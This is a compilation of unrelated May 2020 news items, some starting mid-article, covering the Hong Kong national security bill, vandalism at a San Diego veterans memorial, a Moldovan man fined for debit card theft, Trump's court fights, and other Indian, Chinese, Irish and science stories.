In a statement posted to social media he added: 'Come on, how disrespectful is it to ride skateboards over the tops and edges of this fine surface.'

'I'm appalled at such disregard and carelessness.

One of the video's viewers, Don Hotz, told KGTV his father and uncle had plaques at the sight.

He added: 'I know what it's like to be a kid and a skater but this where frankly I draw the line. If you're listening guys, I would appreciate it if you would not do that kind of thing. That's disrespectful to men that spend their lives protecting what we have today.'

The memorial was built in 1952 to honor veterans living and dead, according to its website.

A statement about the site read: 'The Mt. Soledad National Veterans Memorial is considered one of the most unique veterans memorials in America.

The memorial was built in 1952 to honor veterans living and dead, according to its website

'It is the only memorial that honors veterans, living or deceased, from the Revolutionary War to the current war on terrorism, with an image of the veteran.'

It has been closed since March as a result of the coronavirus pandemic and remains off-limits to visitors.

Mr O'Connor added: 'This activity severely damages this fine granite that surrounds the walls of our memorial. This is an unfortunate situation as the memorial has been closed since Mid March.

'We were in the middle of acquiring bids for full-time security presence to guard against these types of incidents.

'We know that many citizens of San Diego and visitors to our beautiful city make it a point to visit the the mount Soledad national veterans memorial and the surrounding city parks.

'We are looking forward to the day when we can open the memorial for all to visit and enjoy this most iconic and Patriotic beacon of freedom.'

San Diego Police Department are investigating the incident as an act of vandalism.
Hong Kong's stock market has had its worst day in nearly five years after China said it would vote on a controversial national security law bill that could ban people in the Asian financial hub from inciting and participating in protests.

The city's Hang Seng index slid nearly six per cent today in its poorest one-day performance since 2015 due to concerns that Beijing's show of absolute authority could re-ignite anti-government unrest and intensify the political tensions between China and the United States.

Chinese state media, however, said that the disputed bill would 'protect' instead of restricting the semi-autonomous city's freedoms.

Meanwhile, a scuffle broke out today in Hong Kong's Legislative Council when the city's pro-democracy lawmakers staged a demonstration against the bill, deemed as a 'death sentence' to their liberty, and tussled with pro-Beijing politicians.

A scuffle broke out today in Hong Kong's Legislative Council on Friday when the city's pro-democracy lawmakers staged a demonstration against a national security law bill being debated by Beijing. Pictured, legislator Raymond Chan Chi-chuen is taken away by security

Hong Kong's pro-democracy lawmakers sharply criticised China's move to take over long-stalled efforts to enact national security legislation in the semi-autonomous territory, saying it goes against the "one country, two systems" framework that promises the city freedoms

Hong Kong's opposition lawmakers held signboards that read 'CCP tramples on Hong Kong legislature' and 'Hong Kong will become Xinjiang' while protesting in the city's Legislative Council. The bill was submitted on the opening day of China's national legislative session

Hong Kong's Hang Seng index nosedived 5.56% today amid fears that Beijing's national security bill could re-ignite the city's anti-government unrest and worsen the political tensions between China and the United States. Pictured, a woman looks at a stocks display board today

Shares elsewhere also slide due to Hong Kong Germany's DAX shed 1.4% to 10,909.67 in early trading on Friday while the CAC 40 in Paris also lost 1.4%, to 4,382.26. Britain's FTSE 100 skidded 1.8% to 5,906.69. The future for the S&P 500 lost 1% and the future for the Dow industrials also was down 1%, auguring a weak open on Wall Street. Hong Kong's Hang Seng index nosedived 5.56% to a seven-week low while MSCI's broadest index of Asia-Pacific shares outside Japan fell 2.7%. Japan's Nikkei slipped 0.8%, while U.S. stock futures fell almost 1% -- pointing to a weak open for Wall Street. Advertisement

Pictures and footage show opposition legislators holding signboards that read 'CCP tramples on Hong Kong legislature' and 'Hong Kong will become Xinjiang' before some of them got dragged away.

Fears have risen that China is eyeing to take full control of the financial hub. The potential legislation could be a turning point for its freest and most international city, possibly triggering a revision of its special status in Washington and likely to spark more unrest.

'By adding greater national security protection, Hong Kong's status as a special administrative region will be consolidated,' wrote the Global Times after Beijing said it would review the proposal in a major political meeting, bypassing the Hong Kong legislature.

Beijing's bill is a direct response to Hong Kong's anti-government mass protests which started last June and lasted for months. Demonstrators pressed for five demands, including choosing their own leaders and democratic reforms.

Chinese President Xi Jinping (left) and Premier Li Keqiang (right) are pictured arriving for the opening session of the Chinese People's Political Consultative Conference. Premier Li criticised the so-called 'outside forces', warning them not to interfere in Hong Kong affairs

Hong Kong's chief executive Carrie Lam (pictured in Beijing on May 22) expressed her support for the bill, adding that 'maintaining national sovereignty, safety and development interests are the constitutional requirements of Hong Kong Special Administrative Region'

The proposed decree would block secession, foreign interference, terrorism and all seditious activities aimed at toppling the central government and any external interference in the former British colony, said the South China Morning Post newspaper on Thursday, citing unnamed sources.

Hong Kong's chief executive Carrie Lam, who is in Beijing for the National People's Congress, voiced her support for the Communist Party's decision on Friday.

She said in a statement that 'to maintain national sovereignty, safety and development interests are the constitutional requirements of Hong Kong Special Administrative Region'.

Beijing's bill is aimed at forbidding secessionist and subversive activity, as well as foreign interference and terrorism. Pictured, Hong Kong legislator Andrew Wan is taken away by security as he protests against the bill during Legislative Council's House Committee meeting

Pan-democrat lawmaker Ray Chan is pictured lying on the floor after a tussle with pro-Beijing politicians during a House Committee session at the Legislative Council in Hong Kong today

A previous effort to pass such legislation in Hong Kong's legislature was shelved after massive street protests in 2003. This time, Beijing has decided to circumvent the territory's law-making body using what critics say are dubious legal grounds under the Basic Law

Hong Kong is ruled under a special arrangement, called the 'One Country, Two Systems', which was agreed upon by China and the UK before the city's handover in 1997 and is supposed to provide for a level of independence for the city that other cities in China do not have

Carrie Lam vows to 'fully cooperate' with Beijing Hong Kong's Chief Executive Carrie Lam has pledged to 'fully cooperate' with Beijing over the controversial national security law bill for the semi-autonomous territory. The Hong Kong government will 'complete the legislation as soon as possible to discharge its responsibility of safeguarding national security', according to an official statement released Friday. Lam asserted in the notice that the bill would not affect the judicial independence or legal entities of the former British colony. Advertisement

'Xi Jinping has torn away the whole pretence of "one country, two systems",' Hong Kong's former pro-democracy lawmaker Lee Cheuk-yan said of China's leader.

He said at a press briefing by opposition parties and activists that the move shows Beijing is "directly taking control'.

'They're trying to ban every organisation in Hong Kong who dares to speak out against the Communist Party,' he said, describing it as a challenge to global values such as freedom and liberty.

Hong Kong is ruled under a special arrangement, called the 'One Country, Two Systems', which was agreed upon by China and the UK before the city's handover in 1997 and is supposed to provide for a level of independence for the city that other cities in China do not have.

The proposed law would ban secession, foreign interference, terrorism and all seditious activities aimed at toppling the central government and any external interference in the former British colony. Pictured, Police hold down a protester in Hong Kong on June 12, 2019

Online posts have already emerged urging people to gather to protest on Thursday night and dozens were seen shouting pro-democracy slogans in a shopping mall as riot police stood nearby. Pictured, Pro-democracy protesters march on a street during a protest in Hong Kong

Johnny Patterson, Director of UK-based human rights group Hong Kong Watch, told MailOnline: 'This is a devastating blow to the rights and freedoms of Hong Kongers.

'The imposition of draconian and highly controversial national security legislation directly from Beijing is an unprecedented attack on the city's autonomy and way of life.

'It seems to be a sign that China are saying times up for the protest movement, and are intent on taking full control of the city.'

He said: 'The idea that this law will protect Hong Kongers is nonsense.

'Hong Kong already has national security legislation. What this law does is introduce a range of draconian charges which mean that all of Beijing's political opponents in the city will be vulnerable to prosecution.

'It could mark the death of Hong Kong's democratic aspirations.'

The introduction of the Hong Kong bill was the most controversial move at the opening of National People's Congress (NPC) attended by nearly 3,000 mask-donning members in Great Hall of the People on Friday.

The proposal was immediately denounced by the US and pro-democracy figures in the financial hub who called it a death sentence for the territory's unique freedoms.

Beijing's bill is a direct response to Hong Kong's anti-government mass protests which started last June and lasted for months. Pictured, protesters shelter under umbrellas during a downpour as they occupy roads near the government of Hong Kong on June 12

Protesters wearing masks are pictured reacting after police fired tear gas during anti-government demonstrations outside the Legislative Council Complex in Hong Kong on June 12

The draft proposal, to be debated by Beijing's top leaders, will 'guard against, stop and punish any separatism, subversion of the national regime, terrorist group activities and such behaviours that seriously harm national security'.

It would authorise Chinese lawmakers to directly enact long-delayed Hong Kong security legislation itself at a future date, rather than leaving it up to the territory's administration.

China made clear it wanted the legislation passed after Hong Kong was rocked by seven months of massive and sometimes violent pro-democracy protests last year.

An initial bid to enact such legislation in 2003 was shelved after half a million people took to the streets in protest.

Delegates wearing face masks stand in a silent tribute for victims of the COVID-19 coronavirus during the opening session of the NPC at the Great Hall of the People in Beijing on Friday

The controversy over the Hong Kong bill is one of several flash points China is facing at this year's NPC. The other major issue is its handling of the coronavirus. Pictured, a medical worker takes a swab sample from a woman to be tested for the COVID-19 coronavirus in Wuhan

Delegates leave after the opening session of the NPC at the Great Hall of the People in Beijing

People's Liberation Army soldiers march next to the entrance to the Forbidden City during the opening ceremony of the Chinese People's Political Consultative Conference in Beijing

Wang Chen, deputy chairman of the NPC Standing Committee, told delegates Beijing must 'take powerful measures to lawfully prevent, stop and punish' anti-China forces in Hong Kong.

One of the proposal's articles opens the door for Beijing to increase its presence in the financial hub by allowing the central government to set up, 'when needed', agencies in Hong Kong 'to fulfil relevant duties to safeguard national security in accordance with the law.'

China's army already has a garrison in Hong Kong, but soldiers have not intervened in the protests.

The proposed legislation could be a turning point for its freest and most international city, potentially triggering more unrest in the city. Pictured, a group of riot police officers clear the crowds of activists inside the New Town Plaza shopping mall in Hong Kong on May 1

Wang Chen, deputy chairman of the NPC Standing Committee, told delegates Beijing must 'take powerful measures to lawfully prevent, stop and punish' anti-China forces in Hong Kong. Pictured, protesters march on a street during a protest in Hong Kong on December 8, 2019

The Hong Kong movement later broadened to include demands for wider democracy amid perceptions that Beijing was tightening its grip over the city. Pictured, pro-democracy lawmaker Ted Hui is carried out by security at the Legislative Council in Hong Kong on May 18

The city's mini-constitution allows the local government to request help from PLA garrisons in the Asian financial hub in the event of a public order breakdown.

'This is the end of Hong Kong, this is the end of "One Country, Two Systems", make no mistake about it,' Civic Party lawmaker Dennis Kwok told reporters, referring to China's description of the territory's status.

'One Country, Two Systems' gives Beijing ultimate political sway over Hong Kong but allows the former British colony to retain liberties unseen elsewhere in China.

However, pro-democracy leaders also voiced defiance and called for people in Hong Kong to once again take to the streets.

Stocks tumbled in the city Friday on news of the security law move.

The alleged legislation, which could be introduced as a motion to China's parliament, would possibly be a turning point for its freest and most international city. Pictured, delegates attend the 13th National Committee of the Chinese People's Political Consultative Conference

A man is pictured holding a poster as people gather to sing 'Glory to Hong Kong', a protest song which gained popularity in the city as an unofficial anthem on September 11, 2019

US President Donald Trump promised to respond 'very strongly' once details emerge, and US senators introduced legislation to impose sanctions on any entity involved in curbing Hong Kong's autonomy.

Targets could include police who crack down on demonstrators, Chinese officials involving in Hong Kong policy, and banks that conduct transactions with anyone who infringes on its freedoms.

Introducing the bill yesterday, a spokesperson of the Chinese parliament said 'it is absolutely necessary' to set up such a legal mechanism in Hong Kong to 'maintain national security'. The spokesperson cited the Chinese Constitution as the base for the bill.

Former Hong Kong leader warns activists 'not to underestimate China's determination' Beijing-backed Leung Chun-ying said on Thursday that the bill proposed by the Chinese government came after 'thorough consideration and full preparation'. Pictured, former Hong Kong chief executives Leung Chun-ying (right) and Tung Chee-hwa attend a press conference in Hong Kong on May 5 Former Hong Kong Chief Executive Leung Chun-ying has told pro-democracy lawmakers 'not to underestimate the Communist Party's determination' after China signalled its plans to gain full control of the former colony with new national security laws. The Beijing-backed official said on Thursday that the bill proposed by the Chinese government came after 'thorough consideration and full preparation'. 'I want to advise the opposition camp in Hong Kong not to underestimate the Chinese central government's determination to deal with Hong Kong matters,' said Leung in a video released by state broadcaster CCTV. The Hong Kong-native politician was the third Chief Executive of the financial hub between 2012 and 2017. He has served as the Vice-Chairman of National Committee of the Chinese People's Political Consultative Conference since 2017. Leung won the election in 2012 after securing 689 votes in the 1,200-strong election committee. His low supporting rate sparked the city's first large-scale pro-democracy movement since its handover. The campaign took place in 2014 and was known as the Umbrella Movement. Advertisement

Zhang Yesui, a spokesperson for the NPC, said: 'The Hong Kong Special Administrative Region is an inseparable part of the Peoples Republic of China. The National People's Congress is the organ representing the highest national power.

'It is absolutely necessary for the National Peoples Congress to conduct the authority bestowed upon it by the Constitution, based on new situations and needs, to establish and enhance the laws and execution mechanism for the Hong Kong Special Administrative Region to maintain national security; and to adhere to and refine the "one country, two systems" principle.'

Zhang's statement came nearly a week after the first Hong Kong pro-democracy protester to plead guilty to the charge of rioting during last year's unrest was sentenced to four years in prison.

Sin Ka-ho, a 21-year-old lifeguard, was among thousands who surrounded the Legislative Council on June 12 during a pro-democracy rally.
Source: Xinhua| 2020-05-22 06:56:06|Editor: huaxia

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WASHINGTON, May 21 (Xinhua) -- The U.S. Senate on Thursday confirmed President Donald Trump's pick Kenneth Braithwaite to be secretary of the U.S. Navy in a voice vote.

The confirmation was made weeks after the service came under sharp criticism for its handling of the coronavirus outbreak aboard the USS Theodore Roosevelt aircraft carrier that infected more than 1,000 sailors.

In his confirmation hearing earlier this month, Braithwaite pledged to restore a culture of good order and discipline in the Navy, according to a report by The Hill.

"It saddens me to say that the Department of the Navy is in rough waters due to many factors, but primarily the failure of leadership," Braithwaite told a Senate committee.

The U.S. Navy said in late April that it is launching a broader inquiry into the coronavirus outbreak aboard the aircraft carrier, effectively delaying its recommendation to reinstate Captain Brett Crozier as commanding officer of the warship.

Crozier wrote a memo in late March pleading for a faster and more thorough response to the growing outbreak on the warship. The memo was leaked to the media and Crozier was relieved of command on April 2 by then-Navy Secretary Thomas Modly who resigned the following week after calling Crozier "too naive or too stupid" while addressing the aircraft carrier's crew.

At his hearing, Braithwaite said he supported the decision to open a broader inquiry, said the report by The Hill.

Braithwaite has served as U.S. ambassador to Norway since 2018. Enditem
By PTI

LUCKNOW: The Uttar Pradesh police has initiated action against 5,000 people in the state in recent days for not wearing masks or covering their faces and imposed fines on them, a senior government official said on Friday.

"They are being warned and asked not come out without mask or face cover," Additional Chief Secretary, Home and Information, Awanish Kumar Awasthi told reporters here.

"Wearing masks has become mandatory in the state. In past three-four days, its strict implementation is being ensured. Action has been taken against 5,000 people for not complying with the orders. Rs 100 fine has been realised from all of them," he said.

Awasthi said that permission has been granted to 1,199 trains to bring migrant labourers back to the state and over 16.50 lakh of them are expected to arrive in the next few days.

"Of 1,199, 930 trains have arrived so far in the state. On Friday, 117 trains are coming. Till now over 20 lakh migrants have arrived in the state in trains, buses and other modes of transport," he added.

The official said that of the total trains, 153 have arrived in Gorakhpur, 71 in Jaunpur, 66 in Lucknow, 10 in Agra, 37 in Ballia, 42 in Allahabad, 41 in Pratapgarh, 57 in Varanasi, 54 in Gonda, 45 in Basti and 30 in Ayodhya and other stations.

The maximum of 379 trains have arrived in the state from Gujarat, bringing over 5. 36 lakh migrants, followed by 192 from Maharashtra, 159 from Punjab, 47 from Delhi, 35 from Karnataka and 30 from Rajasthan, he said, adding that over 2 lakh people are coming to the state every day.

"We are taking it as a challenge and our district magistrates are working day and night to receive the migrants, who are being tested and those with symptoms being isolated. We have got 70,000 to one lakh migrants in many districts," Awasthi said.

"After their home-quarantine is completed, the state government will be providing them jobs as per their skills, data of which is being collected," he said.

The government is also providing Rs 1,000 and food packets to the migrants, the official added.
Ma Xiaoguang, spokesperson for the Taiwan Affairs Office of the State Council. [Photo/chinadaily.com.cn]

A mainland spokesperson on Friday urged the ruling Democratic Progressive Party authorities of Taiwan to stop their groundless accusations and verbal attacks over a draft decision related to national security legislation for the Hong Kong Special Administrative Region.

The draft decision, on establishing and improving the legal system and enforcement mechanisms for the Hong Kong SAR to safeguard national security, was submitted to the National People's Congress, China's top legislature, for deliberation on Friday.

The DPP authorities on Friday slandered the "one country, two systems" principle, saying the draft bill undermines rule of law and "freedom" in Hong Kong.

Ma Xiaoguang, spokesman for the State Council's Taiwan Affairs Office, said it is necessary and important to establish and improve the legal system and enforcement mechanism for the HKSAR to safeguard national security at the national level.

It aims to firmly safeguard China's sovereignty, security and development interests, maintain the long-term prosperity and stability of the HKSAR and ensure the "one country, two systems" principle will not change, he said.

The DPP authorities and "Taiwan independence" forces have been in collusion with "Hong Kong independence" forces and international anti-China forces to meddle in Hong Kong affairs, Ma said, adding they will never succeed.

Ma urged the DPP and its authorities to immediately stop their indiscriminate attacks on the bill and their political manipulation of Hong Kong affairs.

"We hope some political forces on the island will make a clear distinction between right and wrong and do more to contribute to the prosperity and stability of Hong Kong and the peaceful development of cross-Straits relations," he said.
The Earth's magnetic field is weakening between Africa and South America, causing issues for satellites and space craft.

Scientists studying the phenomenon observed that an area known as the South Atlantic Anomaly has grown considerably in recent years, though the reason for it is not entirely clear.

Using data gathered by the European Space Agency's (ESA) Swarm constellation of satellites, researchers noted that the area of the anomaly dropped in strength by more than 8 per cent between 1970 and 2020.

"The new, eastern minimum of the South Atlantic Anomaly has appeared over the last decade and in recent years is developing vigorously," said Jurgen Matzka, from the German Research Centre for Geosciences.

"We are very lucky to have the Swarm satellites in orbit to investigate the development of the South Atlantic Anomaly. The challenge now is to understand the processes in Earth's core driving theses changes."

One possibility, according to the ESA, is that the weakening field is a sign that the Earth's magnetic field is about to reverse, whereby the North Pole and South Pole switch places.

The last time a "geomagnetic reversal" took place was 780,000 years ago, with some scientists claiming that the next one is long overdue. Typically, such events take place every 250,000 years.

The repercussions of such an event could be significant, as the Earth's magnetic field plays an important role in protecting the planet from solar winds and harmful cosmic radiation.

Telecommunication and satellite systems also rely on it to operate, suggesting that computers and mobile phones could experience difficulties.

The South Atlantic Anomaly has been captured by the Swarm satellite constellation (Division of Geomagnetism, DTU Space)

The South Atlantic Anomaly is already causing issues with satellites orbiting Earth, the ESA warned, while spacecrafts flying in the area could also experience "technical malfunctions".

A 2018 study published in the scientific journal Proceedings of the National Academy of Sciences found that despite the weakening field, "Earth's magnetic field is probably not reversing".

The study also explained that the process is not an instantaneous one and could take tens of thousands of years to take place.

ESA said it would continue to monitor the weakening magnetic field with its constellation of Swarm satellites.

"The mystery of the origin of the South Atlantic Anomaly has yet to be solved," the space agency stated. "However, one thing is certain: magnetic field observations from Swarm are providing exciting new insights into the scarcely understood processes of Earth's interior."
Study quantifies China's chronic health burden for the first time

University of Melbourne researchers have quantified the toll that having multiple chronic diseases takes in China for the first time, which could have significant implications for its economic and health systems.

Researchers say is also timely as COVID-19 has placed further pressure on the public health emergency management system in China.

Published in The Lancet Global Health, the study is the first national longitudinal data set of its kind. Researchers found multimorbidity* - two or more mental or physical chronic non-communicable diseases (NCDs), such as stroke and cancer - was associated with higher health service use levels and greater financial burden.

It increased with age, female gender, higher per capita household expenditure, and higher educational level. However, it was more common in poorer regions compared with the most affluent regions.

The study used data from the three waves of the China Health and Retirement Longitudinal Study conducted in 2011, 2013 and 2015 with Chinese residents aged 45 years and older. Researchers analysed data from 11,817 respondents.

Overall, 62 per cent of participants had physical multimorbidity in 2015. The study concluded that concerted efforts were needed to reduce health inequalities due to multimorbidity and its adverse economic impact.

The Chinese Government is working towards universal health coverage by 2030, and around 1.2 billion of China's 1.4 billion citizens are already covered by one of three social health insurance programs.

However, low levels of service coverage for some beneficiaries and high levels of patient cost-sharing from out-of-pocket fees for health services have raised concerns about the lack of adequate financial protection for patients with NCDs.

First Author Dr Yang Zhao, a researcher at University of Melbourne's Nossal Institute for Global Health, said China's ongoing social health insurance reforms must reduce out-of-pocket spending for patients with multimorbidity.

"Concerted efforts are needed to reduce health inequalities that arise due to multimorbidity, and its adverse economic impact in population groups," Dr Zhao said. "Social health insurance reforms must place emphasis on reducing out-of-pocket spending for patients with multimorbidity to provide greater financial risk protection."

COVID-19 further complicates the situation. Dr Zhao said a national effort coordinated by the Chinese government has helped to contain its spread.

"Some evidence suggests those with multimorbidity are more susceptible to COVID-19 and more likely to be at risk of severe cases and poor outcomes. However, that situation is temporary," Dr Zhao said. "The Chinese government has made unprecedented efforts and invested enormous resources and these containment efforts have stemmed the spread of the disease."

University of Melbourne Nossal Institute for Global Health senior lecturer and senior author, Dr John Tayu Lee, said chronic conditions were a major contributor to China's health burden, outcome inequalities and economic burden. He said this was likely to increase rapidly with an ageing population and high levels of NCD risk factors.

"Multimorbidity is costly to individuals and health systems," Dr Lee said. "Disease-specific guidelines are inadequate for the effective management of individuals with multimorbidity and new clinical guidelines for multimorbidity are needed in China."

###

The study involved researchers at the Nossal Institute for Global Health at the University of Melbourne, WHO Collaborating Centre on Implementation Research for Prevention and Control of Noncommunicable Diseases, Harvard University, Duke University, University of Edinburgh, London School of Hygiene and Tropical Medicine, National University of Singapore, and Imperial College London, London.

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
A young man who stole three debit cards from a business owner he had installed a CCTV system for has been handed down two fines with three months to pay.

Gheorghe Silion (19), 15 Carraig Mhor, Clonmellon, Co Westmeath is originally from Moldova and has been living in Ireland for two months, the court heard.

Garda Philip Weafer told the court that, on Thursday, May 7, a security system was being installed at a business in Longford town which had, a few days earlier, reported a fire.

Gardai received a call from the business owner, reporting the theft, which was caught on the CCTV system that had just been installed.

Over the course of the investigation that followed, it was discovered that bank transactions were taking place in Spar, Main Street, and also some online purchases, Gda Weager explained.

Over the course of a few hours, he managed to spend approximately 550.

Solicitor for the defence, Fiona Baxter, explained that Mr Silion was present in court with his sister who is taking this very seriously.

Its him who should be taking it seriously, said Judge Seamus Hughes.

He is, Judge. Hes from Moldova and has only been here for two months. His sister works for Facebook and has taken him in. He was an engineer with the security company, said Ms Baxter.

So it was a very responsible position and a highly skilled job, Judge Hughes noted.

Yes, Judge, and he has since lost that job as a result of this incident. His sister has monetary compensation here in court today. He has no previous convictions and he did cooperate with the investigation, said Ms Baxter.

Temptation came his way and he took advantage. Id like to think we may not see this man again, said Judge Hughes, before turning to Gda Weafer.

It was a very good investigation. I commend you.

Mr Silions sister handed in the 550 compensation to the court and Judge Hughes finalised the matter by handing down two fines of 105 with three months to pay.
The Supreme Court on Friday asked the Centre if it was prepared to release an emergency loan of Rs 500 crore for funding stalled Amrapali group housing projects. The Centre said it would get back with a response by May 27, the next date of hearing in the case.

The Centre was also asked to consider a possible waiver of service tax chargeable on these projects.

Concern over funds drying up for construction came up before the apex court in a note prepared by Court-appointed receiver, senior advocate R Venkatraman, who suggested a slew of measures to ensure timely execution of the projects.

Among the measures he suggested in a five-page note was a direction to banks to release loans to homebuyers, even to non-performing asset (NPA) account holders, restructuring of existing loans by banks. Funds to complete the housing projects have to come from the sale of unsold housing inventories, sale of other Amrapali properties, and balance receivables on sold units from homebuyers who have taken loans, he said.

The bench of justices Arun Mishra and UU Lalit sought the response of the Centre on each suggestion in the note. Additional solicitor general (ASG) Vikramjeet Banerjee informed the bench that the finance ministry will be meeting over this issue in a day or two. He said that since this involves spending of public money, any exception in the rules to be made for Amrapali has to be accompanied with reasons.

The bench told ASG, The homebuyers are suffering. [The] Government must take care of providing funds to the National Buildings Construction Corporation (NBCC) as there are no private players involved.

NBCC informed the court that two projects undertaken by it were complete while tenders need to be issued on three projects. It was then that the court suggested ASG seek instructions from the government on issuing Rs 500 crore upfront to NBCC.

In addition, the court wished to know whether the Reserve Bank of India (RBI) guidelines will allow issuance of loans to NPA account holders based on the receivers suggestion. Venkatramani told the court that UCO Bank had in principle agreed to fund the unsold inventories, preferably through a consortium of banks.

Venkatramani told HT: Some big players have expressed interest in completing the projects. But they require a strong assurance. The courts tentative order is intended to provide strong support to NBCC before tenders for projects are issued in the coming months.

The Goods and Services Tax payable by NBCC on construction and service tax deposited by home buyers, if waived, could save approximately Rs 1,000 crore, he added.

Advocate ML Lahoty, representing homebuyers, claimed that Rs 7881.60 crore was recoverable from sale of Amrapali Groups properties and Rs 799 crore would accrue on behalf of the companys erstwhile directors.
I think were going to do better the second time, and its important that we win the second time, Mr. Trump said at what was ostensibly an official presidential event. Its important that we win the second time.

In fact, some national polls show Mr. Trump trailing former Vice President Joseph R. Biden Jr., the presumptive Democratic nominee, in Michigan by up to six points. And in a recent poll commissioned by the Detroit Regional Chamber, 63 percent of Michigan voters approved of Ms. Whitmers handling of the coronavirus crisis, compared with just 43 percent who approved of the job Mr. Trump is doing.

The split was on display outside the factory, where several hundred supporters and protesters gathered before the presidents visit.

Denise OConnell, 59, a retired hospital IT worker, said she came to express her distrust of Ms. Whitmer as much as her support for the president. Weve got a tyrannical wench running our state, she said. It hurts me that so many people just think Trump is a bad guy. I think he was elected to lead at this particular time.

But another driver painted on his windows: Whitmer = My Governor. Trump = Not My President.

Mr. Trump acknowledged the flood in Central Michigan that displaced thousands of residents after a dam failed. The Army Corps of Engineers at the highest level is right now in Michigan working on the fact that you had some dams breaking that should not have broke on, he said. They were probably  maybe not maintained properly.
President Donald Trump won at least a temporary reprieve from the Supreme Court earlier this week in keeping secret grand jury materials from the Russia investigation away from Democratic lawmakers.

The president and his administration are counting on the justices for more help to stymie other investigations and lawsuits.

The high court is weighing Trump's bid to block subpoenas for his tax, banking and financial records. It will soon be asked by the administration to kill a lawsuit alleging that Trump is illegally profiting from his luxury hotel near the White House. And a dispute over Congress' demand for the testimony of former White House counsel Don McGahn also could find its way to the justices before long.

Trump has predicted that the court with a conservative majority that includes two of his appointees, Justices Neil Gorsuch and Brett Kavanaugh, would be more sympathetic than lower courts that have repeatedly ruled against him.

And his administration has sought the court's emergency intervention at early stages of court cases far more often than both Democratic and Republican predecessors, according to data compiled by University of Texas law professor Stephen Vladeck.

The administration says Democrats are obsessed with embarrassing Trump at all costs. Trump has called himself a victim of presidential harassment and ordered his administration not to cooperate with investigations by the Democratic-led House.

In arguing for the invalidation of congressional subpoenas for Trump's private financial records, the Justice Department told the Supreme Court that the subpoenas pose a serious risk of harassing the President and distracting him from his constitutional duties.

McGahn should not be forced to appear before Congress, the administration argues, because he is among a band of presidential advisers who have absolute immunity" from testifying about their interactions with the president. The full federal appeals court in Washington recently heard arguments in the case and could rule at any time.

The president's critics argue that Trump has embraced a dangerous view of the presidency as being above the law.

The common theme throughout the Trump presidency has been a complete lack of accountability, said Ben Berwick, a lawyer with the anti-Trump group Protect Democracy.

In case after case, the position taken by Trump and his lawyers is that nothing and no one -- not courts, not Congress, not federal or state law enforcement, not inspectors general -- can hold him accountable or act as a check on his power."



In the dispute over grand jury materials from special counsel Robert Mueller's investigation, U.S. District Judge Beryl Howell called out the Justice Department and the administration.

The reality is that DOJ and the White House have been openly stonewalling the House's efforts to get information by subpoena and by agreement, and the White House has flatly stated that the Administration will not cooperate with congressional requests for information," Howell wrote in ordering that the materials be turned over. Her ruling is on hold.

The Supreme Court has so far refrained from definitive rulings in these clashes. But Trump has been the chief beneficiary of the court's actions because they have prevented investigators from obtaining what they are seeking.

We've already lost nine months of time in this investigation due to this lawsuit," New York prosecutor Carey Dunne said in his arguments in support of enforcing a subpoena for Trump's tax returns. Trump's lawyers said local prosecutors should not be allowed even to investigate Trump while he is president.

Each passing day without a court decision, Dunne said, amounts to the same kind of temporary absolute immunity that the President is seeking here."



It's possible that the decisions in the subpoena cases, expected by early summer, could leave legal issues unresolved and lead to additional consideration by lower courts, further delaying a final order on the subpoenas.

That would suit Trump and his supporters, who would like to run out the clock at least until after Election Day.

It might also suit the Supreme Court and especially Chief Justice John Roberts, who has warned of the dangers of having the court viewed as just another political institution. Federal judges have made clear they prefer that the White House and Congress resolve their disagreements without judicial intervention, when possible.

In the event Democrat Joe Biden is elected president or Republicans regain control of the House of Representatives, legal fights over subpoenas and grand jury materials might end. Biden's administration might have little interest in fighting to protect the Russia grand jury documents. If Republicans were in charge of the House, they probably would abandon subpoena fights aimed at Trump.

In either case, the Supreme Court would avoid having to make a decision that might split the justices along liberal and conservative lines and underscore perceptions of a politically motivated court.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Queen's University's Student Council has been slammed by a victims' group after failing to pass a motion condemning all Troubles-related terrorism.

The council is the main representative forum of the Students' Union and is made up of full and part-time student officers, school representatives and other elected students.

The motion, debated during an online meeting on Wednesday, asked members to "unreservedly condemn" all those who use terrorist acts of violence rather than peaceful means to advance their cause.

It asked members to condemn the glorification of anyone involved in acts of violence or murder and that there should be a zero tolerance approach for violations of this policy.

The motion failed to pass, with 23 voting against, 16 for, and five abstentions.

The result is an insult to victims and survivors of 'Troubles related violence' from across our community who have suffered so grievously before most of these students came into this world Kenny Donaldson, Innocent Victims United

Kenny Donaldson of Innocent Victims United told the Belfast Telegraph the result was "depressing".

"We are told that attitudes within our younger generation, those born post the Belfast Agreement, were changing, that they were becoming more progressive," he said.

"This result makes a lie out of that theory.

"The result is an insult to victims and survivors of 'Troubles related violence' from across our community who have suffered so grievously before most of these students came into this world".

TUV leader Jim Allister said the decision to reject the motion was a "telling indication of where that body currently is".

In a statement the student council said: "Councillors debated proposals on a range of issues, with general agreement on many proposals. However, in some cases the council could not agree a consensus on specific wording contained within some motions.

"Notwithstanding any specific debate at our student council meetings, Queen's Students' Union remains committed to representing students, fostering an environment of inclusivity, creating a space where students can form communities, and have their voices heard."
[May 22, 2020] MEDI FUTURES designated as "Global ICT Future Unicorn"

SEOUL, South Korea, May 22, 2020 /PRNewswire/ -- MEDI FUTURES, a biomedical ultrasound company, was designated by the Korean government as a "Global ICT Future Unicorn." MEDI FUTURES has been an active member of the Born2Global Centre. Future Unicorn is a program conducted by the Ministry of Science and ICT to select promising companies that have potential in terms of both global technology and marketability and offer a comprehesive support system that promotes the growth of selected unicorn companies. The Born2Global Centre also provides programs (Boot Camp, PMF (Product-Market-Fit), etc.) that are dedicated to preparing companies for international expansion.



MEDI FUTURES is a biomedical company that develops ultrasound technology. Based on adipose-derived stem cell separation technology that uses an enzyme-free ultrasound method, biomaterials that are harmless to the body and have none of the side effects typical of chemical enzymes can be used for reconstructive surgery. Recently, this technology is being used for not only tissue/cell regeneration but also follicle regeneration research for those who suffer from hair loss. Within one year of releasing DAVINCI COG, an absorbable medical-use barbed suture that is highly precise and safe, thanks to the company's ultrasound molding technology, MEDI FUTURES has achieved USD 2 million in sales in areas including Japan and Europe.

